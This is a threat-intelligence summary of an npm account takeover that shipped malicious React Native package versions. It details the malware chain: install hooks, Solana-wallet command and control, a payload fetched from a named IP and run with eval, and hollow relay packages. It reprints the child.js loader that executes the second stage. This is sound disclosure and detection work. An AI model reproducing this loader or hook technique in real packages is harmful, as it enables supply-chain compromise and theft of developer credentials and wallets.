# Malicious npm Releases Found in Popular React Native Packages - 130K+ Monthly Downloads Compromised

Attacker took over an npm maintainer account and shipped malicious React Native package versions whose postinstall hooks ran Solana-C2 malware on developer machines.

- Payout: Real-world hack
- Severity: critical
- Program: react-native-international-phone-number
- Analysis by: StepSecurity
- Disclosed: 2026-03-26
- Write-up quality: 8/10
- Original: https://www.stepsecurity.io/blog/malicious-npm-releases-found-in-popular-react-native-packages---130k-monthly-downloads-compromised
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-malicious-npm-releases-found-in-popular-react-native-packages-130k-monthly-downloads-compromised
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:incident platform:threat-intel sev:critical tech:nodejs technique:recon technique:source-review vuln:secrets-leak

**Target:** npm package postinstall hook / developer workstations
**Root cause:** Maintainer's npm publish credentials were compromised, allowing malicious versions to be published outside the GitHub Actions release process (gitHead unchanged from prior safe version). Malware was injected via preinstall/postinstall hooks and later a transitive dependency chain.
**Steps:**
1. Attacker gains npm publish access to @AstrOOnauta's account; publishes react-native-international-phone-number@0.11.8 and react-native-country-select@0.3.91 with `preinstall: "node install.js"` and obfuscated install.js in tarball.
2. install.js waits 10s, geo-filters Russian/CIS locales and timezones, then polls Solana wallet `6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ` via getSignaturesForAddress across 9 RPC endpoints to read a Memo containing a base64 payload URL.
3. Fetches `http://45.32.150.251/` with `os` header; response body is AES-256 encrypted payload, key/IV delivered in `secretkey` and `ivbase64` response headers.
4. Decrypts and executes in memory via `eval(atob(payload))` or `vm.Script`; writes `~/init.json` 48h persistence lock.
5. After deprecation, attacker stages hollow relay `@agnoliaarisian7180/string-argv` depending on `@usebioerhold8733/s-format`, whose postinstall runs `node ./child.js` which `child_process.exec(`node "${initScript}"`)` detached with errors suppressed.
6. Publishes 0.12.1-0.12.3 and 0.4.1-0.4.2 upgrading relay dependency to `latest` to auto-propagate payload updates.
**How found:** StepSecurity AI Package Analyst flagged anomalous npm releases within 5 minutes; analysts noted no corresponding GitHub Actions workflow run and gitHead identical to prior safe version, indicating publish outside normal release process.
**Exploitation:** Any developer running npm install of the compromised versions executed the postinstall hook automatically, launching the Solana-resolved, AES-encrypted second stage in memory on their machine, enabling credential/wallet theft from dev environments.
**Escalation:** Wave 1 direct hook detected -> pivoted to three-layer transitive dependency chain with hollow relay packages and `latest` pinning to evade detection and auto-propagate future payloads.
**Insight:** When a package version appears with no matching CI workflow run and unchanged gitHead, treat it as account-takeover publish; also watch for hollow relay packages whose only content is a dependency on a postinstall-bearing scoped package.

## Proof of concept (copied exactly from the original report)

**child.js loader executing init.js detached**

```
const fs = require('fs');
const child_process = require('child_process');
const path = require('path');

const initScript = path.join(__dirname, 'init.js');

if (fs.existsSync(initScript)) {
 child_process.exec(`node "${initScript}"`, (err, stdout, stderr) => {
 if (err) { return; }
 if (stderr) {}
 });
} else {}
```

**Three-layer malicious dependency chain diagram**

```
react-native-international-phone-number (compromised via account takeover)
 └── @agnoliaarisian7180/string-argv (hollow relay package)
 └── @usebioerhold8733/s-format (payload host with postinstall hook)
 └── postinstall: node child.js → exec(node init.js)
 └── init.js: Solana blockchain C2 malware (identical to Wave 1)
```

